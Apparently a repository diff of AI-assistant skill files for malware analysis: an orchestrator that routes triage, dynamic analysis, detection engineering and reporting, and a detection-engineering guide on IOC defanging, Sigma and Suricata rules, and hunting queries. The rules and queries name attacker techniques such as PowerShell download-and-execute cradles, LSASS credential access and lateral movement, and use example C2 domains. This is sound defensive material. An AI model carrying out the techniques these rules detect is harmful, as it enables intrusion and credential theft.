**Q: Can I modify skill prompts?**
A: Yes. Customize to fit your workflow and preferences.
---
## 🎉 You're Ready!
**1 orchestrator + 5 sub-skills + scripts** covering triage, dynamic analysis, detection engineering, and reporting. Clone into `~/.claude/skills/` and start analyzing.
---
*Built for security professionals, incident responders, and malware analysts.*

View File

@@ -0,0 +1,219 @@
---
name: malware-analysis
description: Orchestrate the complete malware analysis lifecycle across triage, dynamic analysis, detection engineering, and report writing. Use as the single entry point for any malware analysis task — routes to specialized sub-skills by file type and phase, carries findings between phases, and supports multi-sample batch workflows.
---
# Malware Analysis Orchestrator
Single entry point for malware analysis engagements. Routes to specialized sub-skills, carries findings between phases, and manages multi-sample workflows.
## How This Works
You describe what you need — "analyze this sample", "I have 5 files to triage", "create detection rules from my findings" — and this orchestrator:
1. Determines which sub-skill to use based on your file type and intent
2. **Runs the analysis** using that sub-skill: Claude executes the static tooling, parses exported evidence, writes rules and reports itself
3. Records findings in a state file (`analysis_state.md`)
4. Recommends the next phase when the current one completes
5. Waits for your confirmation before proceeding
You never need to invoke sub-skills directly.
## Execution Model
- **Claude does the work on the host.** Hashing, `file`, PE parsing, strings, IOC extraction, macro/PDF/script deobfuscation, .NET decompilation, Procmon/Sysmon/tshark parsing, rule authoring and testing, report writing — all run by Claude with Bash. Do not turn a step into "ask the user to run X and paste the output" unless the tool is missing and cannot be installed.
- **The only thing the analyst does by hand is execute the sample in the isolated VM** and export text evidence. `malware-dynamic-analysis` produces the runbook for that.
- **Never execute a sample or any extracted stage on the host.** Static tooling only. Never upload a sample anywhere without explicit consent (hash lookups are fine).
- **Locate skill files.** The sub-skill `SKILL.md` files and the scripts below ship in this skill's directory tree. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once — when installed as a plugin `$CLAUDE_PLUGIN_ROOT` points at the install; otherwise it is this skill folder. The working directory is the user's analysis workspace, so read sub-skills and run scripts by absolute path, e.g. `python3 "$R"/scripts/ioc_extract.py` and read `"$R"/malware-triage/SKILL.md`.
- **Bundled scripts** (paths below are relative to `$R`):
| Script | Used by | Purpose |
|--------|---------|---------|
| `scripts/ioc_extract.py` | all phases | extract + defang IOCs from any text (`--format csv/json`, `--refang`) |
| `malware-triage/scripts/pe_info.py` | triage | PE headers, sections, entropy, imports, packing verdict, signature, overlay, resources (needs `pefile`) |
| `malware-triage/scripts/hash_calculator.py` | triage | MD5/SHA1/SHA256 |
| `malware-dynamic-analysis/scripts/procmon_summary.py` | dynamic | Procmon CSV → process tree, file/registry writes, network, persistence flags |
| `malware-dynamic-analysis/scripts/sysmon_summary.py` | dynamic | Sysmon JSON/CSV/evtx_dump → tree, network + beaconing, DNS, injection, persistence |
Run `--self-test` on any of them if in doubt.
- **Host tool check** at engagement start (once), then degrade gracefully and say what is missing:
```bash
command -v file strings upx 7z yara tshark olevba oledump.py pdfid.py ilspycmd js-beautify readelf jq; python3 -c "import pefile" 2>&1 | tail -1
```
- **Big outputs** go to files under the engagement workspace; inspect with `wc -l`, `head`, `grep`, and the summary scripts — never `cat` a strings dump or a Procmon CSV.
## Routing Logic
| Signal | Routes To |
|--------|-----------|
| Unknown file / "what is this?" / initial assessment | `malware-triage` |
| PE executable after triage, needing behavior monitoring | `malware-dynamic-analysis` |
| .NET / Office / PDF / script / archive / LNK / ELF / HTA / ISO / IMG / VHD / VHDX | `specialized-file-analyzer` |
| "Create detection rules" / post-analysis phase | `detection-engineer` |
| "Write the report" / final documentation phase | `malware-report-writer` |
| YARA rules specifically | `malware-report-writer` (not detection-engineer) |
**Triage is always the entry point for new samples.** The table above describes which *analysis* skill follows triage.
### File Type Priority Order
When routing by file type, use the `file` command output. Check in this order — first match wins:
1. "Mono/.Net assembly" → read and follow `specialized-file-analyzer/SKILL.md`
2. "Microsoft Office Document" → read and follow `specialized-file-analyzer/SKILL.md`
3. "PDF document" → read and follow `specialized-file-analyzer/SKILL.md`
4. "ELF" → read and follow `specialized-file-analyzer/SKILL.md`
5. "PE32" / "PE64" (only if .NET was NOT matched) → read and follow `malware-triage/SKILL.md`, then `malware-dynamic-analysis/SKILL.md`
6. "MS Windows shortcut" (LNK) → read and follow `specialized-file-analyzer/SKILL.md`
7. ASCII text / script content → read and follow `specialized-file-analyzer/SKILL.md`
8. Archive formats (Zip, RAR, 7z) → read and follow `specialized-file-analyzer/SKILL.md`
9. HTML Application (.hta) → read and follow `specialized-file-analyzer/SKILL.md`
10. ISO/IMG disk images → read and follow `specialized-file-analyzer/SKILL.md` (mount/extract, then analyze contents)
11. VHD/VHDX virtual hard disks → read and follow `specialized-file-analyzer/SKILL.md` (mount/extract, then analyze contents)
12. "data" / zero-byte / unrecognized → read and follow `malware-triage/SKILL.md` for manual assessment
**.NET is the key ambiguity:** `file` outputs both "PE32" and "Mono/.Net assembly" for .NET assemblies. Always check for .NET before checking for PE.
## Phase Sequence
Each sample follows this sequence:
```
Triage → [Dynamic Analysis OR Specialized File Analysis] → Detection Engineering → Report Writing
```
- **Triage** is always first — read and follow `malware-triage/SKILL.md`
- **Dynamic analysis** for PE executables — read and follow `malware-dynamic-analysis/SKILL.md`
- **Specialized file analysis** for non-PE files (.NET, Office, PDF, scripts, archives, LNK, ELF) — read and follow `specialized-file-analyzer/SKILL.md`
- **Detection engineering** consolidates IOCs into Sigma/Suricata rules — read and follow `detection-engineer/SKILL.md`
- **Report writing** is always last — read and follow `malware-report-writer/SKILL.md`
## Phase Transitions (Suggest-Next Mode)
After each phase completes:
1. **Summarize** what was found in the current phase
2. **Update** `analysis_state.md` with findings and IOCs
3. **Recommend** the next skill with reasoning based on findings
4. **Wait** for user confirmation before proceeding
**Never auto-chain phases.** Every transition requires user confirmation.
### VM Isolation Boundary
Before dynamic analysis, hand the user the runbook from `malware-dynamic-analysis/SKILL.md` Part A, tailored with the triage predictions (process names to filter, expected protocol, expected persistence), and state the boundary explicitly:
> "The next phase requires executing the sample in your isolated VM (REMnux/FlareVM). Follow the runbook: snapshot → start Procmon/Wireshark/System Informer/Sysmon → execute → observe 15+ min → export evidence with the A4 commands (Procmon CSV, Sysmon JSON, tshark text, autoruns CSV, dropped files) → revert. Bring the `evidence/` directory back and I'll parse it."
If the user returns with PML/PCAP/EVTX, give the conversion command from the dynamic skill's **Converting Binary Evidence** table (tshark and `evtx_dump` can run on the host) rather than refusing the files.
## State File: `analysis_state.md`
Created in the user's working directory (not this skill repo) when the first sample is provided. Updated after each phase.
### Structure
```markdown
# Malware Analysis — [Engagement Name/Date]
**Analyst:** [name]
**Started:** [date]
**Status:** [In Progress / Complete]
---
## Samples
### Sample 1: [filename]
- **File Type:** [type]
- **MD5:** [hash]
- **SHA1:** [hash]
- **SHA256:** [hash]
- **Size:** [bytes]
- **Priority:** [Immediate / Standard / Low]
- **Classification:** [Trojan / Ransomware / etc. or Pending]
- **Threat Level:** [Critical / High / Medium / Low or Pending]
- **Current Phase:** [Triage / Dynamic Analysis / Specialized Analysis / Detection / Reporting / Complete / Benign]
#### Triage Findings
- [findings appended after triage phase]
#### Analysis Findings
- [findings appended after dynamic/specialized analysis]
#### IOCs Identified
- [accumulated IOCs, defanged]
#### Detection Rules Created
- [list of rules created and their locations]
---
## Next Steps
- [orchestrator's recommendation for what to do next and why]
```
### State File Rules
- **Create** when the user begins an engagement (first sample provided)
- **Append** findings after each phase — never overwrite previous findings
- **Replace** the "Next Steps" section at each transition (not append)
- **Resume** from state file if the user returns in a new conversation — read `analysis_state.md` to restore context
- **All IOCs must be defanged** at the point they are recorded to the state file, regardless of which phase produces them
## Multi-Sample Batch Workflow
1. **Intake**: Prompt for all known samples upfront — "How many samples do you have? Let's list them all before we begin."
2. **Batch triage**: Quick triage pass on all samples (5-10 min each — hashes, file type, reputation check, classification per the triage skill's "Quick Triage" tier)
3. **Priority ranking**: Rank samples as Immediate / Standard / Low based on triage findings
4. **Sequential deep analysis**: Run the full phase sequence on high-priority samples one at a time, confirming with the user at each phase transition
5. **State tracking**: Update state file per-sample so the user can see which samples are triaged, analyzed, and reported
## Conventions Enforced
- All IOCs in state files and reports must be **defanged** (`hxxp://`, `[.]com`, `[@]`)
- Reports always include all three hash types: MD5, SHA1, SHA256
- Evidence must be in text-parseable formats (CSV, JSON, TXT)
- Detection rules (YARA, Sigma, Suricata) must be tested before inclusion
- MITRE ATT&CK technique IDs must be tagged in Sigma rules
- Sigma rules require unique UUIDs
- Custom Suricata rules use SIDs starting at 1000000+
### IOC Defanging Ownership
Each phase defangs IOCs before appending them to the state file. The `detection-engineer` sub-skill handles bulk defanging, format conversion (STIX, CSV, OpenIOC), and confidence assessment during its dedicated phase.
## Edge Cases
- **User wants to skip a phase**: Allow it, note the skip in the state file, and proceed to the requested phase
- **User provides evidence without explicit routing**: Infer the phase from evidence type (Procmon CSV → dynamic analysis, Sysmon JSON → dynamic analysis, olevba output → specialized file analysis, etc.)
- **Session restart**: Read `analysis_state.md` to restore context and resume from the last recorded phase
- **Single sample, known type**: Skip batch triage and go directly to the appropriate skill
- **User explicitly requests a specific sub-skill**: Defer to the user's choice
- **Benign sample**: If triage determines a sample is clean/benign, mark its phase as `Benign` in the state file, note the reasoning, and move to the next sample. Do not proceed with further analysis phases.
- **Unrecognized file type**: If `file` output doesn't match any known routing pattern, default to `malware-triage/SKILL.md` for manual assessment. Note the unknown type in the state file.
- **State file conflicts**: If an existing `analysis_state.md` is found, ask whether to resume the existing engagement or start a new one (with a timestamped filename like `analysis_state_2026-03-15.md`)
- **Running from the skill repo**: If the working directory appears to be this skill repository itself (contains `malware-triage/`, `detection-engineer/`, etc. as subdirectories), warn the user and ask them to switch to their analysis workspace before creating a state file
## Sub-Skill Reference
The orchestrator delegates to these sub-skills by reading their SKILL.md files at execution time:
| Sub-Skill | Path | Purpose |
|-----------|------|---------|
| Malware Triage | `malware-triage/SKILL.md` | Rapid assessment, classification, prioritization |
| Dynamic Analysis | `malware-dynamic-analysis/SKILL.md` | Safe execution, behavior monitoring in isolated VMs |
| Specialized File Analyzer | `specialized-file-analyzer/SKILL.md` | Non-PE file analysis (.NET, Office, PDF, scripts, archives, LNK, ELF) |
| Detection Engineer | `detection-engineer/SKILL.md` | Sigma rules, Suricata rules, hunting queries, IOC defanging |
| Report Writer | `malware-report-writer/SKILL.md` | Professional reports, YARA rules, quality checklists |
Paths are relative to the directory containing this SKILL.md (the sub-skills are not registered as separate skills — this orchestrator reads them by path). When entering a phase, read the corresponding SKILL.md file and follow its instructions. Carry forward the accumulated state from previous phases.
## MCP Server Integrations (Optional)
MCP servers can automate manual steps like hash lookups and IOC enrichment. If available, use them to accelerate the workflow — but they are not required.
See `references/mcp_integrations.md` for setup instructions and a mapping of which MCP servers benefit which skills. The two highest-impact integrations are:
1. **VirusTotal MCP** — automates hash/URL/domain reputation checks during triage
2. **Threat Intel MCP** — unified access to MalwareBazaar, ThreatFox, AbuseIPDB, and GreyNoise for IOC validation

View File

@@ -0,0 +1,817 @@
---
name: detection-engineer
description: Create detection rules and hunting queries from malware analysis findings. Use when you need to write Sigma rules for SIEM, Suricata rules for network IDS, defang IOCs for safe sharing, or convert analysis findings into actionable detection content for SOC teams and threat hunters.
---
# Detection Engineer
Transform malware analysis findings into production-ready detection rules, hunting queries, and operationalized IOCs.
> **Note:** YARA rules are authored in the `malware-report-writer` skill, not here. This skill covers Sigma rules, Suricata/Snort rules, and hunting queries.
## Execution Model
- **Start from the evidence, not from the user's memory.** Read `analysis_state.md`, `procmon_summary.txt`, `sysmon_summary.txt`, and the tshark exports yourself; every rule below is derived from a specific observed behavior or network artifact, and you cite it in the rule's `description`/`reference`.
- **Locate skill files.** Scripts and reference files ship in this skill's directory. Set `R="${CLAUDE_PLUGIN_ROOT:-<dir containing this SKILL.md>}"` once (when installed as a plugin `$CLAUDE_PLUGIN_ROOT` is set; otherwise it is this skill folder). Your working directory is the user's analysis workspace, so prefix every script path below with `$R`, e.g. `python3 "$R"/scripts/ioc_extract.py`.
- **Write rules to files:** `detections/sigma/<name>.yml`, `detections/suricata/<name>.rules`, `detections/hunting/<platform>.txt`, `detections/iocs.csv|.json`. Create the directories.
- **Test what you can, say what you couldn't.** Run `sigma check` and `suricata -T` (below) when installed; otherwise write `status: experimental` and note "untested" in the state file. Never claim a rule is validated without output to show.
- **Defang with the bundled script:** `python3 scripts/ioc_extract.py <evidence files>` (repo root) produces the deduplicated, defanged list; `--format csv|json` feeds the export formats; `--refang` restores live values for rule bodies.
- **UUIDs:** `python3 -c "import uuid; print(uuid.uuid4())"` per Sigma rule. **SIDs:** 1000000+ and unique across the engagement.
- Ask the user only for: target SIEM/EDR platforms, deployment constraints (noise tolerance, log sources actually collected), and sharing scope (TLP).
## When to Use This Skill
Use this skill when you need to:
- Write **Sigma rules** for SIEM detection (Splunk, Elastic, QRadar)
- Create **Suricata/Snort rules** for network IDS/IPS
- Generate **hunting queries** for EDR platforms
- **Defang IOCs** for safe documentation and sharing
- Convert IOCs to **standard formats** (STIX, OpenIOC, CSV)
- Assess **IOC confidence levels** and volatility
- Create **detection logic** from behavioral analysis
- Write **threat hunting hypotheses**
## IOC Management & Defanging
### Why Defang IOCs?
**Problem:** Live IOCs in reports can be:
- Accidentally clicked (execute malware)
- Automatically crawled by bots
- Trigger security tools (email filters, DLP)
**Solution:** Defang (neutralize) IOCs for safe sharing.
### Defanging Patterns
```bash
# URLs
http://malicious.com/payload.exe
→ hxxp://malicious[.]com/payload[.]exe
https://evil.tk/login
→ hxxps://evil[.]tk/login
# Domains
malicious.com
→ malicious[.]com
c2-server.example.org
→ c2-server[.]example[.]org
# IPs
192.168.1.100
→ 192[.]168[.]1[.]100
10.0.0.50
→ 10[.]0[.]0[.]50
# Email addresses
attacker@evil.com
→ attacker[@]evil[.]com
phishing@malware.tk
→ phishing[@]malware[.]tk
# File paths (optional)
C:\Windows\System32\malware.exe
→ C:\Windows\System32\malware[.]exe
```
### Automated Defanging
**Bundled script (preferred — no install):**
```bash
python3 scripts/ioc_extract.py evidence/*.txt evidence/*_summary.txt # defanged, deduplicated, typed
python3 scripts/ioc_extract.py --format csv evidence/*.txt > detections/iocs.csv
python3 scripts/ioc_extract.py --refang detections/iocs_defanged.txt # live values for Suricata/Sigma bodies
```
**Tool: ioc-fanger (Python)**
```bash
# Install
pip install ioc-fanger
# Defang
echo "http://malicious.com" | fanger --defang
# Output: hxxp://malicious[.]com
# Refang (restore for testing)
echo "hxxp://malicious[.]com" | fanger --fang
# Output: http://malicious.com
```
**Manual sed/awk:**
```bash
# Defang URLs and domains
echo "http://malicious.com/payload.exe" | sed 's/http:/hxxp:/g; s/\./[.]/g'
# Defang IPs
echo "192.168.1.100" | sed 's/\./[.]/g'
# Defang emails
echo "attacker@evil.com" | sed 's/@/[@]/g; s/\./[.]/g'
```
### IOC Confidence & Volatility Assessment
| IOC Type | Confidence | Volatility | Reasoning |
|----------|------------|------------|-----------|
| **File Hash (SHA256)** | High | Static | Unique to sample, won't change |
| **Mutex Name** | High | Static | Hardcoded in malware |
| **PDB Path** | High | Static | Compilation artifact |
| **Registry Key** | High | Static | Persistence mechanism |
| **Certificate Hash** | High | Static | Code signing certificate |
| **IP Address** | Medium | Dynamic | Can change (DGA, fast-flux, hosting) |
| **Domain (C2)** | Medium | Dynamic | May rotate frequently |
| **URL Path** | Low-Medium | Dynamic | Often dynamic or timestamped |
| **User-Agent** | Low | Dynamic | Common strings, high FP rate |
| **File Path** | Medium | Static | May vary by environment |
| **Process Name** | Low | Dynamic | Easily changed by attacker |
**Label IOCs appropriately:**
```markdown
### Network Indicators (Medium Confidence - Dynamic)
- Domain: malicious[.]com (C2 server - may rotate)
- IP: 192[.]168[.]1[.]100 (C2 IP - may change)
### Host Indicators (High Confidence - Static)
- Mutex: Global\UniqueMalwareMutex
- Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Run\Malware
- File Hash: abc123... (SHA256)
```
---
## Sigma Rule Creation (SIEM Detection)
### What is Sigma?
Sigma is a **generic signature format for SIEM systems**. Write once, convert to Splunk/Elastic/QRadar/ArcSight queries.
**Official Repo:** https://github.com/SigmaHQ/sigma
### Sigma Rule Structure
```yaml
title: Short Descriptive Title
id: unique-uuid-for-this-rule
status: experimental | test | stable
description: Detailed description of what this detects
references:
- https://attack.mitre.org/techniques/T1059/001/
author: Your Name
date: 2025-10-26
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation # or network_connection, file_event, etc.
product: windows
detection:
selection:
Image|endswith: '\powershell.exe'
CommandLine|contains|all:
- 'DownloadString'
- 'Invoke-Expression'
condition: selection
falsepositives:
- Legitimate administrative scripts
level: high # informational, low, medium, high, critical
```
### Common Sigma Logsources
| Category | Product | Event Source | Use Case |
|----------|---------|--------------|----------|
| `process_creation` | windows | Sysmon Event ID 1, Security 4688 | Process execution |
| `network_connection` | windows | Sysmon Event ID 3 | Network activity |
| `file_event` | windows | Sysmon Event ID 11 | File creation |
| `registry_set` | windows | Sysmon Event ID 13 | Registry value writes (persistence) |
| `registry_add` / `registry_delete` | windows | Sysmon Event ID 12 | Key creation / deletion |
| `registry_event` | windows | Sysmon Event ID 12/13/14 | Generic registry (prefer the specific categories above) |
| `image_load` | windows | Sysmon Event ID 7 | DLL loading |
| `create_remote_thread` | windows | Sysmon Event ID 8 | Process injection |
| `dns_query` | windows | Sysmon Event ID 22 | DNS queries |
### Sigma Modifiers
**String Matching:**
- `|contains` - String contains value
- `|startswith` - String starts with value
- `|endswith` - String ends with value
- `|all` - All values must be present
- `|re` - Regular expression match
**Examples:**
```yaml
# Contains any
CommandLine|contains:
- 'powershell'
- 'cmd.exe'
# Contains all
CommandLine|contains|all:
- 'Invoke-WebRequest'
- '-OutFile'
# Ends with
Image|endswith: '\rundll32.exe'
# Starts with
CommandLine|startswith: 'C:\Windows\System32\'
# Regex
CommandLine|re: '.*\\\\AppData\\\\Local\\\\Temp\\\\[a-z]{8}\.exe'
```
### Example 1: PowerShell Download Cradle
# Generate unique UUID: python3 -c "import uuid; print(uuid.uuid4())"
```yaml
title: Suspicious PowerShell Download and Execute
id: a6e0ee39-d2cb-477d-9223-7b9e6090613a
status: experimental
description: Detects PowerShell downloading content and executing it via Invoke-Expression
references:
- https://attack.mitre.org/techniques/T1059/001/
- https://attack.mitre.org/techniques/T1105/
author: Analyst Name
date: 2025-10-26
tags:
- attack.execution
- attack.t1059.001
- attack.command_and_control
- attack.t1105
logsource:
category: process_creation
product: windows
detection:
selection:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
CommandLine|contains|all:
- 'DownloadString'
- 'IEX'
condition: selection
falsepositives:
- Legitimate software deployment scripts
- Administrative automation
level: high
```
### Example 2: Suspicious Registry Run Key
```yaml
title: Malware Persistence via Registry Run Key
id: 8ff9a2f5-f996-4405-a5f1-d79d680cb5e6
status: stable
description: Detects creation of registry Run key pointing to suspicious locations
references:
- https://attack.mitre.org/techniques/T1547/001/
author: Analyst Name
date: 2025-10-26
tags:
- attack.persistence
- attack.t1547.001
logsource:
category: registry_set
product: windows
detection:
selection:
TargetObject|contains: '\Software\Microsoft\Windows\CurrentVersion\Run\'
Details|contains:
- '\AppData\Local\Temp\'
- '\Users\Public\'
- '\ProgramData\'
- '%TEMP%'
condition: selection
falsepositives:
- Legitimate software installations
level: medium
```
### Example 3: Network Connection to Malicious IP
```yaml
title: Network Connection to Known C2 Server
id: 54502807-546d-4152-abd4-7c12ac7f9833
status: experimental
description: Detects network connection to known malware C2 IP address
references:
- Internal malware analysis report
author: Analyst Name
date: 2025-10-26
tags:
- attack.command_and_control
- attack.t1071
logsource:
category: network_connection
product: windows
detection:
selection:
DestinationIp:
- '192.168.56.101' # Replace with actual C2 IP
- '10.0.0.50'
DestinationPort:
- 443
- 8080
condition: selection
falsepositives:
- Rare, should be investigated
level: high
```
### Example 4: Suspicious File Creation
```yaml
title: Malware Dropping Files to Suspicious Location
id: 37ec0b15-debf-46d3-8132-ff7aa637a0b0
status: experimental
description: Detects file creation in common malware drop locations
references:
- https://attack.mitre.org/techniques/T1105/
author: Analyst Name
date: 2025-10-26
tags:
- attack.defense_evasion
- attack.t1105
logsource:
category: file_event
product: windows
detection:
selection:
TargetFilename|contains:
- '\AppData\Local\Temp\'
- '\Users\Public\'
TargetFilename|endswith:
- '.exe'
- '.dll'
- '.bat'
- '.vbs'
condition: selection
falsepositives:
- Software installations
- Temporary file creation by legitimate apps
level: low
```
### Convert Sigma to SIEM Queries
**Using sigma-cli (modern — replaces legacy sigmac):**
```bash
# Install sigma-cli plus the backend plugin(s) you need (backends are not bundled)
pip install sigma-cli
sigma plugin install splunk # also: elasticsearch, qradar, sentinel (azure-monitor), sqlite ...
# Validate syntax and logsource fields first
sigma check rule.yml
# Convert — pass a processing pipeline matching your log source (Sysmon field names differ from raw 4688)
sigma convert -t splunk -p sysmon rule.yml
sigma convert -t elasticsearch -p ecs_windows rule.yml
sigma convert -t qradar -p sysmon rule.yml
sigma convert -t microsoft365defender rule.yml # no pipeline needed
# List installed backends / pipelines
sigma list targets
sigma list pipelines splunk
```
**Example Conversions:**
**Splunk:**
```spl
index=windows EventCode=1
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
CommandLine="*DownloadString*" CommandLine="*IEX*"
```
**Elastic:**
```json
{
"query": {
"bool": {
"must": [
{"wildcard": {"process.executable": "*\\\\powershell.exe"}},
{"wildcard": {"process.command_line": "*DownloadString*"}},
{"wildcard": {"process.command_line": "*IEX*"}}
]
}
}
}
```
### Sigma Rule Best Practices
**Do:**
- Use unique UUIDs (generate with `uuidgen` or online)
- Include MITRE ATT&CK tags
- List realistic false positives
- Test on real data before deployment
- Use specific conditions (avoid over-matching)
- Document references and context
- Set appropriate severity levels
**Don't:**
- Use overly broad conditions
- Forget false positive analysis
- Skip testing
- Hardcode environment-specific values
- Ignore performance impact
---
## Suricata Rule Creation (Network IDS)
### Suricata Rule Structure
```
action protocol src_ip src_port -> dest_ip dest_port (rule_options)
```
**Components:**
- **Action**: alert, drop, reject, pass
- **Protocol**: tcp, udp, icmp, http, dns, tls
- **Src/Dest**: IP ranges, ports, $variables
- **Rule Options**: Keywords that define detection logic
### Example 1: HTTP C2 Traffic
```
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CUSTOM MALWARE Suspicious C2 Checkin";
flow:established,to_server;
http.method; content:"POST";
http.uri; content:"/api/checkin";
http.user_agent; content:"Mozilla/4.0 (compatible|3b| MSIE 6.0)";
sid:1000001;
rev:1;
metadata:created_at 2025_10_26;
)
```
**Breakdown:**
- `alert http` - Alert on HTTP traffic
- `$HOME_NET any -> $EXTERNAL_NET any` - Outbound traffic
- `flow:established,to_server` - Established connection to server
- `http.method; content:"POST"` - HTTP POST request (sticky buffer)
- `http.uri; content:"/api/checkin"` - Specific URI path (sticky buffer)
- `http.user_agent; content:"..."` - Specific User-Agent (sticky buffer)
- `sid:1000001` - Signature ID (use 1000000+ for custom rules)
- `rev:1` - Revision number
### Example 2: DNS C2 Communication
```
alert dns $HOME_NET any -> any 53 (
msg:"CUSTOM MALWARE Suspicious DGA Domain Query";
dns.query; content:".tk"; nocase;
sid:1000002;
rev:1;
metadata:created_at 2025_10_26;
)
```
### Example 3: TLS C2 with SNI
```
alert tls $HOME_NET any -> $EXTERNAL_NET 443 (
msg:"CUSTOM MALWARE Known C2 Server Certificate";
tls.sni; content:"malicious.com";
tls.cert_subject; content:"CN=Evil Corp";
sid:1000003;
rev:1;
metadata:created_at 2025_10_26;
)
```
### Example 4: Malware Download
```
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CUSTOM MALWARE Executable Download from Suspicious TLD";
flow:established,to_server;
http.uri; content:".exe"; endswith;
http.host; content:".tk"; endswith;
sid:1000004;
rev:1;
metadata:created_at 2025_10_26;
)
```
### Suricata HTTP Keywords
- `http.method` - GET, POST, PUT, etc.
- `http.uri` - Request URI path
- `http.host` - Host header
- `http.user_agent` - User-Agent string
- `http.request_body` - POST data
- `http.response_body` - Response content
- `http.header` - Any HTTP header
- `http.stat_code` - Response code (200, 404, etc.)
### Suricata DNS Keywords
- `dns.query` - DNS query name
- `dns.opcode` - DNS operation code
- `dns.rcode` - DNS response code
### Suricata TLS Keywords
- `tls.sni` - Server Name Indication
- `tls.cert_subject` - Certificate subject
- `tls.cert_issuer` - Certificate issuer
- `tls.cert_serial` - Certificate serial number
- `tls.version` - TLS version
### Testing Suricata Rules
```bash
# Test rule syntax
suricata -T -c /etc/suricata/suricata.yaml -S custom.rules
# Run on PCAP
suricata -r sample_traffic.pcapng -S custom.rules -l /var/log/suricata/
# Check alerts
cat /var/log/suricata/fast.log
```
### Suricata Best Practices
**Do:**
- Use flow keywords (established, to_server, to_client)
- Anchor strings with content modifiers (startswith, endswith)
- Use fast_pattern for performance
- Test against PCAPs before deployment
- Use metadata for rule management
- Include revision tracking
**Don't:**
- Write overly broad rules (high false positive rate)
- Use regex unless necessary (performance impact)
- Forget to test on benign traffic
- Use conflicting SIDs (must be unique)
- Skip documentation in msg field
---
## Hunting Queries
### Splunk Hunting Queries
**Hunt for PowerShell Download Cradles:**
```spl
index=windows EventCode=1
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
(CommandLine="*DownloadString*" OR CommandLine="*DownloadFile*" OR CommandLine="*Invoke-WebRequest*")
| table _time, ComputerName, User, CommandLine
| sort -_time
```
**Hunt for Suspicious Registry Run Keys:**
```spl
index=windows EventCode=13
TargetObject="*\\Software\\Microsoft\\Windows\\CurrentVersion\\Run*"
(Details="*\\AppData\\Local\\Temp\\*" OR Details="*\\Users\\Public\\*" OR Details="*\\ProgramData\\*")
| table _time, ComputerName, TargetObject, Details
| sort -_time
```
**Hunt for Outbound Connections to Rare Destinations:**
```spl
index=network
| stats count by dest_ip
| where count < 5
| join dest_ip [search index=network]
| table _time, src_ip, dest_ip, dest_port, bytes_out
```
### Elastic (KQL) Hunting Queries
**Hunt for Process Injection:**
```
event.code:8 AND
winlog.event_data.TargetImage:(*\\explorer.exe OR *\\svchost.exe) AND
NOT winlog.event_data.SourceImage:C\\:\\Windows\\System32\\*
```
**Hunt for Suspicious File Creations:**
```
event.code:11 AND
file.path:(*\\AppData\\Local\\Temp\\*.exe OR *\\Users\\Public\\*.exe) AND
NOT process.executable:(*\\Windows\\System32\\* OR *\\Program Files\\*)
```
### EDR Hunting (Generic Pseudocode)
**Hunt for Credential Access:**
```
Process = "lsass.exe" AND
AccessMask IN (0x1010, 0x1410, 0x1438) AND
SourceImage NOT IN (known_good_processes)
```
**Hunt for Lateral Movement:**
```
Process = "psexec.exe" OR
Process = "wmic.exe" OR
(Process = "powershell.exe" AND CommandLine CONTAINS "Invoke-Command")
```
---
## IOC Formats & Standards
### STIX (Structured Threat Information Expression)
**STIX 2.1 Example:**
```json
{
"type": "indicator",
"spec_version": "2.1",
"id": "indicator--91ec6a8e-61ab-4c6a-b8f5-95240110b203",
"created": "2025-10-26T12:00:00.000Z",
"modified": "2025-10-26T12:00:00.000Z",
"name": "Malicious Domain: malicious.com",
"description": "C2 domain for Malware Family X",
"pattern": "[domain-name:value = 'malicious.com']",
"pattern_type": "stix",
"valid_from": "2025-10-26T12:00:00.000Z",
"labels": ["malicious-activity"]
}
```
### CSV Format (Simple)
```csv
ioc_type,ioc_value,confidence,description,first_seen
domain,malicious.com,high,C2 server,2025-10-26
ip,192.168.1.100,medium,C2 IP address,2025-10-26
sha256,abc123...,high,Malware sample hash,2025-10-26
mutex,Global\M12345,high,Mutex name,2025-10-26
registry,HKCU\Software\...\Run,high,Persistence key,2025-10-26
```
### OpenIOC Format
```xml
<?xml version="1.0" encoding="UTF-8"?>
<ioc xmlns="http://schemas.mandiant.com/2010/ioc">
<short_description>Malware Family X IOCs</short_description>
<description>IOCs from analysis of Malware Family X</description>
<authored_by>Analyst Name</authored_by>
<authored_date>2025-10-26T12:00:00</authored_date>
<definition>
<Indicator operator="OR">
<IndicatorItem>
<Context document="FileItem" search="FileItem/Md5sum"/>
<Content type="md5">abc123...</Content>
</IndicatorItem>
<IndicatorItem>
<Context document="Network" search="Network/DNS"/>
<Content type="string">malicious.com</Content>
</IndicatorItem>
</Indicator>
</definition>
</ioc>
```
---
## Detection Logic Development
### From Analysis to Detection
**Step 1: Identify Unique Behaviors**
From dynamic analysis, extract behaviors that are:
- Uncommon in legitimate software
- Hard for attackers to change
- Observable in logs/network traffic
**Step 2: Map to Data Sources**
| Behavior | Data Source | Detection Method |
|----------|-------------|------------------|
| Process injection | Sysmon Event ID 8 | Sigma rule |
| C2 beacon | Network logs, proxy | Suricata rule |
| Registry persistence | Sysmon Event ID 13 | Sigma rule |
| File drop | Sysmon Event ID 11 | Sigma rule + YARA |
| DNS query (DGA) | DNS logs | Suricata rule |
**Step 3: Write Detection Rule**
Choose appropriate rule type:
- **Host-based** → Sigma rule (SIEM/EDR)
- **Network-based** → Suricata rule (IDS/IPS)
- **File-based** → YARA rule (scanning)
**Step 4: Test & Validate**
- Test on malware sample (must alert)
- Test on benign samples (must not alert)
- Adjust thresholds/conditions
- Document false positive scenarios
**Step 5: Deploy & Tune**
- Deploy to pilot environment
- Monitor alert volume
- Investigate false positives
- Tune rule based on feedback
- Document tuning changes
---
## Quality Checklist
Before finalizing detection content:
**Sigma Rules:**
- [ ] Unique UUID assigned
- [ ] MITRE ATT&CK tags included
- [ ] Tested on sample data
- [ ] False positives documented
- [ ] Appropriate severity level set
- [ ] References included
- [ ] Logsource correctly specified
**Suricata Rules:**
- [ ] Unique SID assigned (1000000+)
- [ ] Tested on PCAP
- [ ] Flow keywords used (performance)
- [ ] Metadata included
- [ ] No syntax errors (suricata -T)
- [ ] Tested on benign traffic
- [ ] Message clearly describes detection
**IOCs:**
- [ ] All IOCs defanged properly
